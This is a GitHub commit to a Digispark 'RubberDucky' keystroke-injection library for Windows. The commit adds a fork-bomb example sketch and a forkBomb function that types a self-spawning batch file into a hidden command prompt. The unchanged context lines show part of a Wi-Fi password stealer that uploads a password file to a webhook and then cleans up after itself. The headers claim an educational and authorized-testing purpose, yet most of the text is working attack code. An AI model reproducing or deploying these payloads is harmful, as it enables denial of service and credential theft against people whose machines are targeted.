Skip to content

Commit 460a3c2

Browse files
committed
Added fork bomb example 💣
1 parent 0a4b095 commit 460a3c2

File tree

3 files changed

+64
-6
lines changed

3 files changed

+64
-6
lines changed
Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
/**
2+
* @file forkBomb.ino
3+
* @brief Example script using the RubberDucky library for Digispark to execute a fork bomb on Windows.
4+
*
5+
* This sketch initializes the RubberDucky interface and executes a fork bomb on a Windows machine.
6+
* It is intended for educational and authorized penetration testing purposes only.
7+
*
8+
* @note This code is a proof of concept and must not be used for malicious activities.
9+
*
10+
* @author AntonioBerna
11+
* @date 2025
12+
* @copyright GPL-3.0 License
13+
*/
14+
15+
#include "RubberDucky.h"
16+
17+
RubberDucky ducky;
18+
19+
void setup() {
20+
ducky.init(); ///< Initialize USB HID and other required subsystems
21+
}
22+
23+
void loop() {
24+
ducky.refreshUSBConnection(); ///< Re-initialize USB in case of dropped connection
25+
ducky.forkBomb(true); ///< Execute fork bomb payload on Windows
26+
ducky.ledFeedback(10000); ///< Provide LED feedback to indicate completion
27+
}

src/RubberDucky.cpp

Lines changed: 23 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@
88
#define LAYOUT_ITALIAN
99
#include "DigiKeyboard.h"
1010

11-
RubberDucky::RubberDucky(uint8_t ledPin) : ledPin(ledPin) { }
11+
RubberDucky::RubberDucky(uint8_t ledPin) : ledPin(ledPin) {}
1212

1313
void RubberDucky::init(void) {
1414
pinMode(this->ledPin, OUTPUT);
@@ -32,7 +32,7 @@ void RubberDucky::refreshUSBConnection(void) {
3232
DigiKeyboard.delay(2000);
3333
}
3434

35-
void RubberDucky::stealWindowsWifiPasswords(const char *webhook, bool debug) {
35+
void RubberDucky::launchCMD(bool debug) {
3636
// Open Run dialog
3737
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // `Win + R`
3838
DigiKeyboard.delay(1250);
@@ -50,6 +50,11 @@ void RubberDucky::stealWindowsWifiPasswords(const char *webhook, bool debug) {
5050
}
5151
DigiKeyboard.write('\n');
5252
DigiKeyboard.delay(1250);
53+
}
54+
55+
void RubberDucky::stealWindowsWifiPasswords(const char *webhook, bool debug) {
56+
// Open Run dialog and launch CMD
57+
launchCMD(debug);
5358

5459
// Navigate to temp directory and prepare workspace
5560
DigiKeyboard.print("cd %temp% && mkdir RubberDucky && cd RubberDucky");
@@ -72,7 +77,7 @@ void RubberDucky::stealWindowsWifiPasswords(const char *webhook, bool debug) {
7277
DigiKeyboard.print("\" -Method POST -InFile \"Wi-Fi-Passwd.txt\"");
7378
DigiKeyboard.write('\n');
7479
DigiKeyboard.delay(10000);
75-
80+
7681
// Cleaning up all
7782
DigiKeyboard.print("cd .. && rmdir /s /q RubberDucky");
7883
DigiKeyboard.write('\n');
@@ -83,3 +88,18 @@ void RubberDucky::stealWindowsWifiPasswords(const char *webhook, bool debug) {
8388
DigiKeyboard.write('\n');
8489
DigiKeyboard.delay(100);
8590
}
91+
92+
void RubberDucky::forkBomb(bool debug) {
93+
// Open Run dialog and launch CMD
94+
launchCMD(debug);
95+
96+
// Creating payload to a temporary directory
97+
DigiKeyboard.print("(echo :ouch && echo start ouch.bat && echo goto ouch) > %temp%/ouch.bat");
98+
DigiKeyboard.write('\n');
99+
DigiKeyboard.delay(500);
100+
101+
// Executing the fork bomb
102+
DigiKeyboard.print("cd %temp% && ouch.bat");
103+
DigiKeyboard.write('\n');
104+
DigiKeyboard.delay(500);
105+
}

src/RubberDucky.h

Lines changed: 14 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -32,25 +32,36 @@ class RubberDucky {
3232
* @brief Initialize the board and LED.
3333
*/
3434
void init(void);
35-
35+
3636
/**
3737
* @brief Blink the LED for visual feedback.
3838
* @param ms Duration of each LED ON/OFF phase in milliseconds.
3939
*/
4040
void ledFeedback(const long ms);
41-
41+
4242
/**
4343
* @brief Keeps the USB HID connection alive and releases any pressed keys.
4444
*/
4545
void refreshUSBConnection(void);
46-
46+
47+
/**
48+
* @brief Launches the Windows Command Prompt (CMD) in a minimized state.
49+
* @param debug If true, opens a normal CMD instead of a hidden one for debugging.
50+
*/
51+
void RubberDucky::launchCMD(bool debug);
52+
4753
/**
4854
* @brief Executes a payload to steal Wi-Fi passwords on Windows and sends them to a given webhook.
4955
* @param webhook URL to send the exfiltrated data via HTTP POST.
5056
* @param debug If true, opens a normal CMD instead of a hidden one for debugging.
5157
*/
5258
void stealWindowsWifiPasswords(const char *webhook, bool debug = false);
5359

60+
/**
61+
* @brief Executes a fork bomb on Windows to demonstrate system resource exhaustion.
62+
*/
63+
void forkBomb(bool debug = false);
64+
5465
private:
5566
uint8_t ledPin; ///< Pin connected to the onboard LED for feedback
5667
};

0 commit comments

Comments
 (0)